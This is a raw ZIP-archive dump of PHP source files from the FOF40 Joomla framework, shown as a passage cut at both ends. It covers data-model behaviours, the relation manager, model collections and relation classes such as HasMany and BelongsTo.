JDatabaseQuery &$query) { $relationFilters = $model->getRelationFilters(); foreach ($relationFilters as $filterState) { $relationName = $filterState['relation']; $tableAlias = $model->getBehaviorParam('tableAlias', null); $subQuery = $model->getRelations()->getCountSubquery($relationName, $tableAlias); // Callback method needs different handling if (isset($filterState['method']) && ($filterState['method'] == 'callback')) { call_user_func_array($filterState['value'], array(&$subQuery)); $filterState['method'] = 'search'; $filterState['operator'] = '>='; $filterState['value'] = '1'; } $options = new Registry($filterState); $filter = new DataModel\Filter\Relation($model->getDbo(), $relationName, $subQuery); $methods = $filter->getSearchMethods(); $method = $options->get('method', $filter->getDefaultSearchMethod()); if (!in_array($method, $methods)) { $method = 'exact'; } switch ($method) { case 'between': case 'outside': $sql = $filter->$method($options->get('from', null), $options->get('to')); break; case 'interval': $sql = $filter->$method($options->get('value', null), $options->get('interval')); break; case 'search': $sql = $filter->$method($options->get('value', null), $options->get('operator', '=')); break; default: $sql = $filter->$method($options->get('value', null)); break; } if ($sql) { $query->where($sql); } } } } PK���\����YY,fof40/Model/DataModel/Behaviour/Language.phpnu&1i�<?php /** * @package FOF * @copyright Copyright (c)2010-2022 Nicholas K. Dionysopoulos / Akeeba Ltd * @license GNU General Public License version 3, or later */ namespace FOF40\Model\DataModel\Behaviour; defined('_JEXEC') || die; use FOF40\Event\Observer; use FOF40\Model\DataModel; use JDatabaseQuery; use Joomla\CMS\Application\SiteApplication; use Joomla\CMS\Factory as JoomlaFactory; use Joomla\CMS\Plugin\PluginHelper; use Joomla\Registry\Registry; /** * FOF model behavior class to filter front-end access to items * based on the language. * * @since 2.1 */ class Language extends Observer { /** @var \PlgSystemLanguageFilter */ protected $lang_filter_plugin; /** * This event runs before we have built the query used to fetch a record * list in a model. It is used to blacklist the language filter * * @param DataModel &$model The model which calls this event * @param JDatabaseQuery &$query The model which calls this event * * @return void * @noinspection PhpUnusedParameterInspection */ public function onBeforeBuildQuery(DataModel &$model, JDatabaseQuery &$query) { if ($model->getContainer()->platform->isFrontend()) { $model->blacklistFilters('language'); } // Make sure the field actually exists AND we're not in CLI if (!$model->hasField('language') || $model->getContainer()->platform->isCli()) { return; } /** @var SiteApplication $app */ $app = JoomlaFactory::getApplication(); $hasLanguageFilter = method_exists($app, 'getLanguageFilter'); if ($hasLanguageFilter) { $hasLanguageFilter = $app->getLanguageFilter(); } if (!$hasLanguageFilter) { return; } // Ask Joomla for the plugin only if we don't already have it. Useful for tests if(!$this->lang_filter_plugin) { $this->lang_filter_plugin = PluginHelper::getPlugin('system', 'languagefilter'); } $lang_filter_params = new Registry($this->lang_filter_plugin->params); $languages = array('*'); if ($lang_filter_params->get('remove_default_prefix')) { // Get default site language $platform = $model->getContainer()->platform; $lg = $platform->getLanguage(); $languages[] = $lg->getTag(); } else { // We have to use JoomlaInput since the language fragment is not set in the $_REQUEST, thus we won't have it in our model // TODO Double check the previous assumption $languages[] = JoomlaFactory::getApplication()->input->getCmd('language', '*'); } // Filter out double languages $languages = array_unique($languages); // And filter the query output by these languages $db = $model->getDbo(); $languages = array_map(array($db, 'quote'), $languages); $fieldName = $model->getFieldAlias('language'); $model->whereRaw($db->qn($fieldName) . ' IN(' . implode(', ', $languages) . ')'); } /** * The event runs after DataModel has retrieved a single item from the database. It is used to apply automatic * filters. * * @param DataModel &$model The model which was called * @param mixed &$keys The keys used to locate the record which was loaded * * @return void */ public function onAfterLoad(DataModel &$model, &$keys) { // Make sure we have a DataModel if (!($model instanceof DataModel)) { return; } // Make sure the field actually exists AND we're not in CLI if (!$model->hasField('language') || $model->getContainer()->platform->isCli()) { return; } // Make sure it is a multilingual site and get a list of languages /** @var SiteApplication $app */ $app = JoomlaFactory::getApplication(); $hasLanguageFilter = method_exists($app, 'getLanguageFilter'); if ($hasLanguageFilter) { $hasLanguageFilter = $app->getLanguageFilter(); } if (!$hasLanguageFilter) { return; } // Ask Joomla for the plugin only if we don't already have it. Useful for tests if(!$this->lang_filter_plugin) { $this->lang_filter_plugin = PluginHelper::getPlugin('system', 'languagefilter'); } $lang_filter_params = new Registry($this->lang_filter_plugin->params); $languages = array('*'); if ($lang_filter_params->get('remove_default_prefix')) { // Get default site language $lg = $model->getContainer()->platform->getLanguage(); $languages[] = $lg->getTag(); } else { $languages[] = JoomlaFactory::getApplication()->input->getCmd('language', '*'); } // Filter out double languages $languages = array_unique($languages); // Filter by language if (!in_array($model->getFieldValue('language'), $languages)) { $model->reset(); } } } PK���\e��o��9fof40/Model/DataModel/Behaviour/PageParametersToState.phpnu&1i�<?php /** * @package FOF * @copyright Copyright (c)2010-2022 Nicholas K. Dionysopoulos / Akeeba Ltd * @license GNU General Public License version 3, or later */ namespace FOF40\Model\DataModel\Behaviour; defined('_JEXEC') || die; use FOF40\Event\Observer; use FOF40\Model\DataModel; use Joomla\CMS\Application\SiteApplication; use Joomla\CMS\Factory as JoomlaFactory; use Joomla\Registry\Registry; /** * FOF model behavior class to populate the state with the front-end page parameters * * @since 2.1 */ class PageParametersToState extends Observer { public function onAfterConstruct(DataModel &$model) { // This only applies to the front-end if (!$model->getContainer()->platform->isFrontend()) { return; } // Get the page parameters /** @var SiteApplication $app */ $app = JoomlaFactory::getApplication(); /** @var Registry $params */ $params = $app->getParams(); // Extract the page parameter keys $asArray = []; if (is_object($params) && method_exists($params, 'toArray')) { $asArray = $params->toArray(); } if (empty($asArray)) { // There are no keys; no point in going on. return; } $keys = array_keys($asArray); unset($asArray); // Loop all page parameter keys foreach ($keys as $key) { // This is the current model state $currentState = $model->getState($key); // This is the explicitly requested state in the input $explicitInput = $model->input->get($key, null, 'raw'); // If the current state is empty and there's no explicit input we'll use the page parameters instead if (!is_null($currentState)) { return; } if (!is_null($explicitInput)) { return; } $model->setState($key, $params->get($key)); } } } PK���\������0fof40/Model/DataModel/Behaviour/EmptyNonZero.phpnu&1i�<?php /** * @package FOF * @copyright Copyright (c)2010-2022 Nicholas K. Dionysopoulos / Akeeba Ltd * @license GNU General Public License version 3, or later */ namespace FOF40\Model\DataModel\Behaviour; defined('_JEXEC') || die; use FOF40\Event\Observer; use FOF40\Model\DataModel; use JDatabaseQuery; /** * FOF model behavior class to let the Filters behaviour know that zero value is a valid filter value * * @since 2.1 */ class EmptyNonZero extends Observer { /** * This event runs after we have built the query used to fetch a record * list in a model. It is used to apply automatic query filters. * * @param DataModel &$model The model which calls this event * @param JDatabaseQuery &$query The query we are manipulating * * @return void */ public function onAfterBuildQuery(DataModel &$model, JDatabaseQuery &$query) { $model->setBehaviorParam('filterZero', 1); } } PK���\{�u��5�5)fof40/Model/DataModel/RelationManager.phpnu&1i�<?php /** * @package FOF * @copyright Copyright (c)2010-2022 Nicholas K. Dionysopoulos / Akeeba Ltd * @license GNU General Public License version 3, or later */ namespace FOF40\Model\DataModel; defined('_JEXEC') || die; use FOF40\Model\DataModel; class RelationManager { /** @var array The known relation types */ protected static $relationTypes = []; /** @var DataModel The data model we are attached to */ protected $parentModel; /** @var Relation[] The relations known to us */ protected $relations = []; /** @var array A list of the names of eager loaded relations */ protected $eager = []; /** * Creates a new relation manager for the defined parent model * * @param DataModel $parentModel The model we are attached to */ public function __construct(DataModel $parentModel) { // Set the parent model $this->parentModel = $parentModel; // Make sure the relation types are initialised static::getRelationTypes(); // @todo Maybe set up a few relations automatically? } /** * Populates the static map of relation type methods and relation handling classes * * @return array Key = method name, Value = relation handling class */ public static function getRelationTypes() { if (empty(static::$relationTypes)) { $relationTypeDirectory = __DIR__ . '/Relation'; $fs = new \DirectoryIterator($relationTypeDirectory); /** @var $file \DirectoryIterator */ foreach ($fs as $file) { if ($file->isDir()) { continue; } if ($file->getExtension() != 'php') { continue; } $baseName = ucfirst($file->getBasename('.php')); $methodName = strtolower($baseName[0]) . substr($baseName, 1); $className = '\\FOF40\\Model\\DataModel\\Relation\\' . $baseName; if (!class_exists($className, true)) { continue; } static::$relationTypes[$methodName] = $className; } } return static::$relationTypes; } /** * Implements deep cloning of the relation object */ function __clone() { $relations = []; /** @var Relation[] $relations */ foreach ($this->relations as $key => $relation) { $relations[$key] = clone($relation); $relations[$key]->reset(); } $this->relations = $relations; } /** * Rebase a relation manager * * @param DataModel $parentModel */ public function rebase(DataModel $parentModel) { $this->parentModel = $parentModel; if (count($this->relations) > 0) { foreach ($this->relations as $relation) { /** @var Relation $relation */ $relation->rebase($parentModel); } } } /** * Populates the internal $this->data collection of a relation from the contents of the provided collection. This is * used by DataModel to push the eager loaded data into each item's relation. * * @param string $name Relation name * @param Collection $data The relation data to push into this relation * @param mixed $keyMap Used by many-to-many relations to pass around the local to foreign key map * * @return void * * @throws Relation\Exception\RelationNotFound */ public function setDataFromCollection($name, Collection &$data, $keyMap = null) { if (!isset($this->relations[$name])) { throw new DataModel\Relation\Exception\RelationNotFound("Relation '$name' not found"); } $this->relations[$name]->setDataFromCollection($data, $keyMap); } /** * Adds a relation to the relation manager * * @param string $name The name of the relation as known to this relation manager, e.g. 'phone' * @param string $type The relation type, e.g. 'hasOne' * @param string $foreignModelName The name of the foreign key's model in the format "modelName@com_something" * @param string $localKey The local table key for this relation * @param string $foreignKey The foreign key for this relation * @param string $pivotTable For many-to-many relations, the pivot (glue) table * @param string $pivotLocalKey For many-to-many relations, the pivot table's column storing the local key * @param string $pivotForeignKey For many-to-many relations, the pivot table's column storing the foreign key * * @return DataModel The parent model, for chaining * * @throws Relation\Exception\RelationTypeNotFound when $type is not known * @throws Relation\Exception\ForeignModelNotFound when $foreignModelClass doesn't exist */ public function addRelation($name, $type, $foreignModelName = null, $localKey = null, $foreignKey = null, $pivotTable = null, $pivotLocalKey = null, $pivotForeignKey = null) { if (!isset(static::$relationTypes[$type])) { throw new DataModel\Relation\Exception\RelationTypeNotFound("Relation type '$type' not found"); } // Guess the foreign model class if necessary if (empty($foreignModelName)) { $foreignModelName = ucfirst($name); } $className = static::$relationTypes[$type]; /** @var Relation $relation */ $relation = new $className($this->parentModel, $foreignModelName, $localKey, $foreignKey, $pivotTable, $pivotLocalKey, $pivotForeignKey); $this->relations[$name] = $relation; return $this->parentModel; } /** * Removes a known relation * * @param string $name The name of the relation to remove * * @return DataModel The parent model, for chaining */ public function removeRelation($name) { if (isset($this->relations[$name])) { unset ($this->relations[$name]); } return $this->parentModel; } /** * Removes all known relations */ public function resetRelations() { $this->relations = []; } /** * Resets the data of all relations in this manager. This doesn't remove relations, just their data so that they * get loaded again. * * @param array $relationsToReset The names of the relations to reset. Pass an empty array (default) to reset * all relations. */ public function resetRelationData(array $relationsToReset = []) { /** @var Relation $relation */ foreach ($this->relations as $name => $relation) { if (!empty($relationsToReset) && !in_array($name, $relationsToReset)) { continue; } $relation->reset(); } } /** * Returns a list of all known relations' names * * @return array */ public function getRelationNames() { return array_keys($this->relations); } /** * Gets the related items of a relation * * @param string $name The name of the relation to return data for * * @return Relation * * @throws Relation\Exception\RelationNotFound */ public function &getRelation($name) { if (!isset($this->relations[$name])) { throw new DataModel\Relation\Exception\RelationNotFound("Relation '$name' not found"); } return $this->relations[$name]; } /** * Get a new related item which satisfies relation $name and adds it to this relation's data list. * * @param string $name The relation based on which a new item is returned * * @return DataModel * * @throws Relation\Exception\RelationNotFound */ public function getNew($name) { if (!isset($this->relations[$name])) { throw new DataModel\Relation\Exception\RelationNotFound("Relation '$name' not found"); } return $this->relations[$name]->getNew(); } /** * Saves all related items belonging to the specified relation or, if $name is null, all known relations which * support saving. * * @param null|string $name The relation to save, or null to save all known relations * * @return DataModel The parent model, for chaining * * @throws Relation\Exception\RelationNotFound */ public function save($name = null) { if (is_null($name)) { foreach ($this->relations as $relation) { try { $relation->saveAll(); } catch (DataModel\Relation\Exception\SaveNotSupported $e) { // We don't care if a relation doesn't support saving } } } else { if (!isset($this->relations[$name])) { throw new DataModel\Relation\Exception\RelationNotFound("Relation '$name' not found"); } $this->relations[$name]->saveAll(); } return $this->parentModel; } /** * Gets the related items of a relation * * @param string $name The name of the relation to return data for * @param callable $callback A callback to customise the returned data * @param \FOF40\Utils\Collection $dataCollection Used when fetching the data of an eager loaded relation * * @return Collection|DataModel * * @throws Relation\Exception\RelationNotFound * @see Relation::getData() * */ public function getData($name, $callback = null, \FOF40\Utils\Collection $dataCollection = null) { if (!isset($this->relations[$name])) { throw new DataModel\Relation\Exception\RelationNotFound("Relation '$name' not found"); } return $this->relations[$name]->getData($callback, $dataCollection); } /** * Gets the foreign key map of a many-to-many relation * * @param string $name The name of the relation to return data for * * @return array * * @throws Relation\Exception\RelationNotFound */ public function &getForeignKeyMap($name) { if (!isset($this->relations[$name])) { throw new DataModel\Relation\Exception\RelationNotFound("Relation '$name' not found"); } return $this->relations[$name]->getForeignKeyMap(); } /** * Returns the count sub-query for a relation, used for relation filters (whereHas in the DataModel). * * @param string $name The relation to get the sub-query for * @param string $tableAlias The alias to use for the local table * * @return \JDatabaseQuery * @throws Relation\Exception\RelationNotFound */ public function getCountSubquery($name, $tableAlias = null) { if (!isset($this->relations[$name])) { throw new DataModel\Relation\Exception\RelationNotFound("Relation '$name' not found"); } return $this->relations[$name]->getCountSubquery($tableAlias); } /** * A magic method which allows us to define relations using shorthand notation, e.g. $manager->hasOne('phone') * instead of $manager->addRelation('phone', 'hasOne') * * You can also use it to get data of a relation using shorthand notation, e.g. $manager->getPhone($callback) * instead of $manager->getData('phone', $callback); * * @param string $name The magic method to call * @param array $arguments The arguments to the magic method * * @return DataModel The parent model, for chaining * * @throws \InvalidArgumentException * @throws DataModel\Relation\Exception\RelationTypeNotFound */ function __call($name, $arguments) { $numberOfArguments = count($arguments); if (isset(static::$relationTypes[$name])) { if ($numberOfArguments == 1) { return $this->addRelation($arguments[0], $name); } elseif ($numberOfArguments == 2) { return $this->addRelation($arguments[0], $name, $arguments[1]); } elseif ($numberOfArguments == 3) { return $this->addRelation($arguments[0], $name, $arguments[1], $arguments[2]); } elseif ($numberOfArguments == 4) { return $this->addRelation($arguments[0], $name, $arguments[1], $arguments[2], $arguments[3]); } elseif ($numberOfArguments == 5) { return $this->addRelation($arguments[0], $name, $arguments[1], $arguments[2], $arguments[3], $arguments[4]); } elseif ($numberOfArguments == 6) { return $this->addRelation($arguments[0], $name, $arguments[1], $arguments[2], $arguments[3], $arguments[4], $arguments[5]); } elseif ($numberOfArguments >= 7) { return $this->addRelation($arguments[0], $name, $arguments[1], $arguments[2], $arguments[3], $arguments[4], $arguments[5], $arguments[6]); } else { throw new \InvalidArgumentException("You can not create an unnamed '$name' relation"); } } elseif (substr($name, 0, 3) == 'get') { $relationName = substr($name, 3); $relationName = strtolower($relationName[0]) . substr($relationName, 1); if ($numberOfArguments == 0) { return $this->getData($relationName); } elseif ($numberOfArguments == 1) { return $this->getData($relationName, $arguments[0]); } elseif ($numberOfArguments == 2) { return $this->getData($relationName, $arguments[0], $arguments[1]); } else { throw new \InvalidArgumentException("Invalid number of arguments getting data for the '$relationName' relation"); } } // Throw an exception otherwise throw new DataModel\Relation\Exception\RelationTypeNotFound("Relation type '$name' not known to relation manager"); } /** * Is $name a magic-callable method? * * @param string $name The name of a potential magic-callable method * * @return bool */ public function isMagicMethod($name) { if (isset(static::$relationTypes[$name])) { return true; } elseif (substr($name, 0, 3) == 'get') { $relationName = substr($name, 3); $relationName = strtolower($relationName[0]) . substr($relationName, 1); if (isset($this->relations[$relationName])) { return true; } } return false; } /** * Is $name a magic property? Corollary: returns true if a relation of this name is known to the relation manager. * * @param string $name The name of a potential magic property * * @return bool */ public function isMagicProperty($name) { return isset($this->relations[$name]); } /** * Magic method to get the data of a relation using shorthand notation, e.g. $manager->phone instead of * $manager->getData('phone') * * @param $name * * @return Collection */ function __get($name) { return $this->getData($name); } } PK���\GJ`FF$fof40/Model/DataModel/Collection.phpnu&1i�<?php /** * @package FOF * @copyright Copyright (c)2010-2022 Nicholas K. Dionysopoulos / Akeeba Ltd * @license GNU General Public License version 3, or later */ namespace FOF40\Model\DataModel; defined('_JEXEC') || die; use FOF40\Model\DataModel; use FOF40\Utils\Collection as BaseCollection; /** * A collection of data models. You can enumerate it like an array, use it everywhere a collection is expected (e.g. a * foreach loop) and even implements a countable interface. You can also batch-apply DataModel methods on it thanks to * its magic __call() method, hence the type-hinting below. * * @method void setFieldValue(string $name, mixed $value = '') * @method void archive() * @method void save(mixed $data, string $orderingFilter = '', bool $ignore = null) * @method void push(mixed $data, string $orderingFilter = '', bool $ignore = null, array $relations = null) * @method void bind(mixed $data, array $ignore = []) * @method void check() * @method void reorder(string $where = '') * @method void delete(mixed $id = null) * @method void trash(mixed $id) * @method void forceDelete(mixed $id = null) * @method void lock(int $userId = null) * @method void move(int $delta, string $where = '') * @method void publish() * @method void restore(mixed $id) * @method void touch(int $userId = null) * @method void unlock() * @method void unpublish() */ class Collection extends BaseCollection { /** * Find a model in the collection by key. * * @param mixed $key * @param mixed $default * * @return DataModel */ public function find($key, $default = null) { if ($key instanceof DataModel) { $key = $key->getId(); } return array_first($this->items, function ($itemKey, $model) use ($key) { /** @var DataModel $model */ return $model->getId() == $key; }, $default); } /** * Remove an item in the collection by key * * @param mixed $key * * @return void */ public function removeById($key) { if ($key instanceof DataModel) { $key = $key->getId(); } $index = array_search($key, $this->modelKeys()); if ($index !== false) { unset($this->items[$index]); } } /** * Add an item to the collection. * * @param mixed $item * * @return Collection */ public function add($item) { $this->items[] = $item; return $this; } /** * Determine if a key exists in the collection. * * @param mixed $key * * @return bool */ public function contains($key) { return !is_null($this->find($key)); } /** * Fetch a nested element of the collection. * * @param string $key * * @return Collection */ public function fetch(string $key): BaseCollection { return new static(array_fetch($this->toArray(), $key)); } /** * Get the max value of a given key. * * @param string $key * * @return mixed */ public function max($key) { return $this->reduce(function ($result, $item) use ($key) { return (is_null($result) || $item->{$key} > $result) ? $item->{$key} : $result; }); } /** * Get the min value of a given key. * * @param string $key * * @return mixed */ public function min($key) { return $this->reduce(function ($result, $item) use ($key) { return (is_null($result) || $item->{$key} < $result) ? $item->{$key} : $result; }); } /** * Get the array of primary keys * * @return array */ public function modelKeys() { return array_map( function ($m) { /** @var DataModel $m */ return $m->getId(); }, $this->items); } /** * Merge the collection with the given items. * * @param BaseCollection|array $collection * * @return BaseCollection */ public function merge($collection): BaseCollection { $dictionary = $this->getDictionary($this); foreach ($collection as $item) { $dictionary[$item->getId()] = $item; } return new static(array_values($dictionary)); } /** * Diff the collection with the given items. * * @param BaseCollection|array $collection * * @return BaseCollection */ public function diff($collection): BaseCollection { $diff = new static; $dictionary = $this->getDictionary($collection); foreach ($this->items as $item) { /** @var DataModel $item */ if (!isset($dictionary[$item->getId()])) { $diff->add($item); } } return $diff; } /** * Intersect the collection with the given items. * * @param BaseCollection|array $collection * * @return Collection */ public function intersect($collection): BaseCollection { $intersect = new static; $dictionary = $this->getDictionary($collection); foreach ($this->items as $item) { /** @var DataModel $item */ if (isset($dictionary[$item->getId()])) { $intersect->add($item); } } return $intersect; } /** * Return only unique items from the collection. * * @return BaseCollection */ public function unique(): BaseCollection { $dictionary = $this->getDictionary($this); return new static(array_values($dictionary)); } /** * Get a base Support collection instance from this collection. * * @return BaseCollection */ public function toBase() { return new BaseCollection($this->items); } /** * Magic method which allows you to run a DataModel method to all items in the collection. * * For example, you can do $collection->save('foobar' => 1) to update the 'foobar' column to 1 across all items in * the collection. * * IMPORTANT: The return value of the method call is not returned back to you! * * @param string $name The method to call * @param array $arguments The arguments to the method */ public function __call($name, $arguments) { if (count($this) === 0) { return; } $class = get_class($this->first()); if (method_exists($class, $name)) { foreach ($this as $item) { switch (count($arguments)) { case 0: $item->$name(); break; case 1: $item->$name($arguments[0]); break; case 2: $item->$name($arguments[0], $arguments[1]); break; case 3: $item->$name($arguments[0], $arguments[1], $arguments[2]); break; case 4: $item->$name($arguments[0], $arguments[1], $arguments[2], $arguments[3]); break; case 5: $item->$name($arguments[0], $arguments[1], $arguments[2], $arguments[3], $arguments[4]); break; case 6: $item->$name($arguments[0], $arguments[1], $arguments[2], $arguments[3], $arguments[4], $arguments[5]); break; default: call_user_func_array([$item, $name], $arguments); break; } } } } /** * Get a dictionary keyed by primary keys. * * @param BaseCollection $collection * * @return array */ protected function getDictionary($collection) { $dictionary = []; foreach ($collection as $value) { $dictionary[$value->getId()] = $value; } return $dictionary; } } PK���\�%ii)fof40/Model/DataModel/Relation/HasOne.phpnu&1i�<?php /** * @package FOF * @copyright Copyright (c)2010-2022 Nicholas K. Dionysopoulos / Akeeba Ltd * @license GNU General Public License version 3, or later */ namespace FOF40\Model\DataModel\Relation; defined('_JEXEC') || die; use FOF40\Model\DataModel; use FOF40\Model\DataModel\Collection; /** * HasOne (straight 1-to-1) relation: this model is a parent which has exactly one child in the foreign table * * For example, parentModel is Users and foreignModel is Phones. Each uses has exactly one Phone. */ class HasOne extends HasMany { /** * Get the relation data. * * If you want to apply additional filtering to the foreign model, use the $callback. It can be any function, * static method, public method or closure with an interface of function(DataModel $foreignModel). You are not * supposed to return anything, just modify $foreignModel's state directly. For example, you may want to do: * $foreignModel->setState('foo', 'bar') * * @param callable $callback The callback to run on the remote model. * @param Collection $dataCollection * * @return Collection|DataModel */ public function getData($callback = null, Collection $dataCollection = null) { if (is_null($dataCollection)) { return parent::getData($callback, $dataCollection)->first(); } else { return parent::getData($callback, $dataCollection); } } } PK���\�hcЙ�*fof40/Model/DataModel/Relation/HasMany.phpnu&1i�<?php /** * @package FOF * @copyright Copyright (c)2010-2022 Nicholas K. Dionysopoulos / Akeeba Ltd * @license GNU General Public License version 3, or later */ namespace FOF40\Model\DataModel\Relation; defined('_JEXEC') || die; use FOF40\Model\DataModel; use FOF40\Model\DataModel\Relation; /** * HasMany (1-to-many) relation: this model is a parent which has zero or more children in the foreign table * * For example, parentModel is Users and foreignModel is Articles. Each user has zero or more articles. */ class HasMany extends Relation { /** * Public constructor. Initialises the relation. * * @param DataModel $parentModel The data model we are attached to * @param string $foreignModelName The name of the foreign key's model in the format * "modelName@com_something" * @param string $localKey The local table key for this relation, default: parentModel's ID field * name * @param string $foreignKey The foreign key for this relation, default: parentModel's ID field name * @param string $pivotTable IGNORED * @param string $pivotLocalKey IGNORED * @param string $pivotForeignKey IGNORED */ public function __construct(DataModel $parentModel, $foreignModelName, $localKey = null, $foreignKey = null, $pivotTable = null, $pivotLocalKey = null, $pivotForeignKey = null) { parent::__construct($parentModel, $foreignModelName, $localKey, $foreignKey, $pivotTable, $pivotLocalKey, $pivotForeignKey); if (empty($this->localKey)) { $this->localKey = $parentModel->getIdFieldName(); } if (empty($this->foreignKey)) { $this->foreignKey = $this->localKey; } } /** * Returns the count subquery for DataModel's has() and whereHas() methods. * * @param string $tableAlias The alias of the local table in the query. Leave blank to use the table's name. * * @return \JDatabaseQuery */ public function getCountSubquery($tableAlias = null) { // Get a model instance $foreignModel = $this->getForeignModel(); $foreignModel->setIgnoreRequest(true); $db = $foreignModel->getDbo(); if (empty($tableAlias)) { $tableAlias = $this->parentModel->getTableName(); } return $db->getQuery(true) ->select('COUNT(*)') ->from($db->qn($foreignModel->getTableName(), 'reltbl')) ->where($db->qn('reltbl') . '.' . $db->qn($foreignModel->getFieldAlias($this->foreignKey)) . ' = ' . $db->qn($tableAlias) . '.' . $db->qn($this->parentModel->getFieldAlias($this->localKey))); } /** * Returns a new item of the foreignModel type, pre-initialised to fulfil this relation * * @return DataModel * * @throws DataModel\Relation\Exception\NewNotSupported when it's not supported */ public function getNew() { // Get a model instance $foreignModel = $this->getForeignModel(); $foreignModel->setIgnoreRequest(true); // Prime the model $foreignModel->setFieldValue($this->foreignKey, $this->parentModel->getFieldValue($this->localKey)); // Make sure we do have a data list if (!($this->data instanceof DataModel\Collection)) { $this->getData(); } // Add the model to the data list $this->data->add($foreignModel); return $this->data->last(); } /** * Applies the relation filters to the foreign model when getData is called * * @param DataModel $foreignModel The foreign model you're operating on * @param DataModel\Collection $dataCollection If it's an eager loaded relation, the collection of loaded * parent records * * @return boolean Return false to force an empty data collection */ protected function filterForeignModel(DataModel $foreignModel, DataModel\Collection $dataCollection = null) { // Decide how to proceed, based on eager or lazy loading if (is_object($dataCollection)) { // Eager loaded relation if (!empty($dataCollection)) { // Get a list of local keys from the collection $values = []; /** @var $item DataModel */ foreach ($dataCollection as $item) { $v = $item->getFieldValue($this->localKey, null); if (!is_null($v)) { $values[] = $v; } } // Keep only unique values. This double step is required to re-index the array and avoid issues with // Joomla Registry class. See issue #681 $values = array_values(array_unique($values)); // Apply the filter if (!empty($values)) { $foreignModel->where($this->foreignKey, 'in', $values); } else { return false; } } else { return false; } } else { // Lazy loaded relation; get the single local key $localKey = $this->parentModel->getFieldValue($this->localKey, null); if (is_null($localKey) || ($localKey === '')) { return false; } $foreignModel->where($this->foreignKey, '==', $localKey); } return true; } } PK���\�t�**?fof40/Model/DataModel/Relation/Exception/PivotTableNotFound.phpnu&1i�<?php /** * @package FOF * @copyright Copyright (c)2010-2022 Nicholas K. Dionysopoulos / Akeeba Ltd * @license GNU General Public License version 3, or later */ namespace FOF40\Model\DataModel\Relation\Exception; defined('_JEXEC') || die; class PivotTableNotFound extends \Exception {} PK���\ ���((=fof40/Model/DataModel/Relation/Exception/SaveNotSupported.phpnu&1i�<?php /** * @package FOF * @copyright Copyright (c)2010-2022 Nicholas K. Dionysopoulos / Akeeba Ltd * @license GNU General Public License version 3, or later */ namespace FOF40\Model\DataModel\Relation\Exception; defined('_JEXEC') || die; class SaveNotSupported extends \Exception {} PK���\u��((=fof40/Model/DataModel/Relation/Exception/RelationNotFound.phpnu&1i�<?php /** * @package FOF * @copyright Copyright (c)2010-2022 Nicholas K. Dionysopoulos / Akeeba Ltd * @license GNU General Public License version 3, or later */ namespace FOF40\Model\DataModel\Relation\Exception; defined('_JEXEC') || die; class RelationNotFound extends \Exception {} PK���\�-�e,,Afof40/Model/DataModel/Relation/Exception/ForeignModelNotFound.phpnu&1i�<?php /** * @package FOF * @copyright Copyright (c)2010-2022 Nicholas K. Dionysopoulos / Akeeba Ltd * @license GNU General Public License version 3, or later */ namespace FOF40\Model\DataModel\Relation\Exception; defined('_JEXEC') || die; class ForeignModelNotFound extends \Exception {} PK���\��}�((<fof40/Model/DataModel/Relation/Exception/NewNotSupported.phpnu&1i�<?php /** * @package FOF * @copyright Copyright (c)2010-2022 Nicholas K. Dionysopoulos / Akeeba Ltd * @license GNU General Public License version 3, or later */ namespace FOF40\Model\DataModel\Relation\Exception; defined('_JEXEC') || die; class NewNotSupported extends \Exception { } PK���\T���,,Afof40/Model/DataModel/Relation/Exception/RelationTypeNotFound.phpnu&1i�<?php /** * @package FOF * @copyright Copyright (c)2010-2022 Nicholas K. Dionysopoulos / Akeeba Ltd * @license GNU General Public License version 3, or later */ namespace FOF40\Model\DataModel\Relation\Exception; defined('_JEXEC') || die; class RelationTypeNotFound extends \Exception {} PK���\ G�z� � ,fof40/Model/DataModel/Relation/BelongsTo.phpnu&1i�<?php /** * @package FOF * @copyright Copyright (c)2010-2022 Nicholas K. Dionysopoulos / Akeeba Ltd * @license GNU General Public License version 3, or later */ namespace FOF40\Model\DataModel\Relation; defined('_JEXEC') || die; use FOF40\Model\DataModel; /** * BelongsTo (reverse 1-to-1 or 1-to-many) relation: this model is a child which belongs to the foreign table * * For example, parentModel is Articles and foreignModel is Users. Each article belongs to one user. One user can have * one or more article. * * Example #2: parentModel is Phones and foreignModel is Users. Each phone belongs to one user. One user can have zero * or one phones. */ class BelongsTo extends HasOne { /** * Public constructor. Initialises the relation. * * @param DataModel $parentModel The data model we are attached to * @param string $foreignModelName The name of the foreign key's model in the format "modelName@com_something" * @param string $localKey The local table key for this relation, default: parentModel's ID field name * @param string $foreignKey The foreign key for this relation, default: parentModel's ID field name * @param string $pivotTable IGNORED * @param string $pivotLocalKey IGNORED * @param string $pivotForeignKey IGNORED */ public function __construct(DataModel $parentModel, $foreignModelName, $localKey = null, $foreignKey = null, $pivotTable = null, $pivotLocalKey = null, $pivotForeignKey = null) { parent::__construct($parentModel, $foreignModelName, $localKey, $foreignKey, $pivotTable, $pivotLocalKey, $pivotForeignKey); if (empty($localKey)) { /** @var DataModel $foreignModel */ $foreignModel = $this->getForeignModel(); $foreignModel->setIgnoreRequest(true); $this->localKey = $foreignModel->getIdFieldName(); } if (empty($foreignKey)) { if (!isset($foreignModel)) { /** @var DataModel $foreignModel */ $foreignModel = $this->getForeignModel(); $foreignModel->setIgnoreRequest(true); } $this->foreignKey = $foreignModel->getIdFieldName(); } } /** * This is not supported by the belongsTo relation * * @throws DataModel\Relation\Exception\NewNotSupported when it's not supported */ public function getNew() { throw new DataModel\Relation\Exception\NewNotSupported("getNew() is not supported by the belongsTo relation type"); } } PK���\���q.q.0fof40/Model/DataModel/Relation/BelongsToMany.phpnu&1i�<?php /** * @package FOF * @copyright Copyright (c)2010-2022 Nicholas K. Dionysopoulos / Akeeba Ltd * @license GNU General Public License version 3, or later */ namespace FOF40\Model\DataModel\Relation; defined('_JEXEC') || die; use FOF40\Model\DataModel; use FOF40\Model\DataModel\Relation; /** * BelongsToMany (many-to-many) relation: one or more records of this model are related to one or more records in the * foreign model. * * For example, parentModel is Users and foreignModel is Groups. Each user can be assigned to many groups. Each group * can be assigned to many users. */ class BelongsToMany extends Relation { /** * Public constructor. Initialises the relation. * * @param DataModel $parentModel The data model we are attached to * @param string $foreignModelName The name of the foreign key's model in the format * "modelName@com_something" * @param string $localKey The local table key for this relation, default: parentModel's ID field * name * @param string $foreignKey The foreign key for this relation, default: parentModel's ID field name * @param string $pivotTable For many-to-many relations, the pivot (glue) table * @param string $pivotLocalKey For many-to-many relations, the pivot table's column storing the local * key * @param string $pivotForeignKey For many-to-many relations, the pivot table's column storing the foreign * key * * @throws DataModel\Relation\Exception\PivotTableNotFound */ public function __construct(DataModel $parentModel, $foreignModelName, 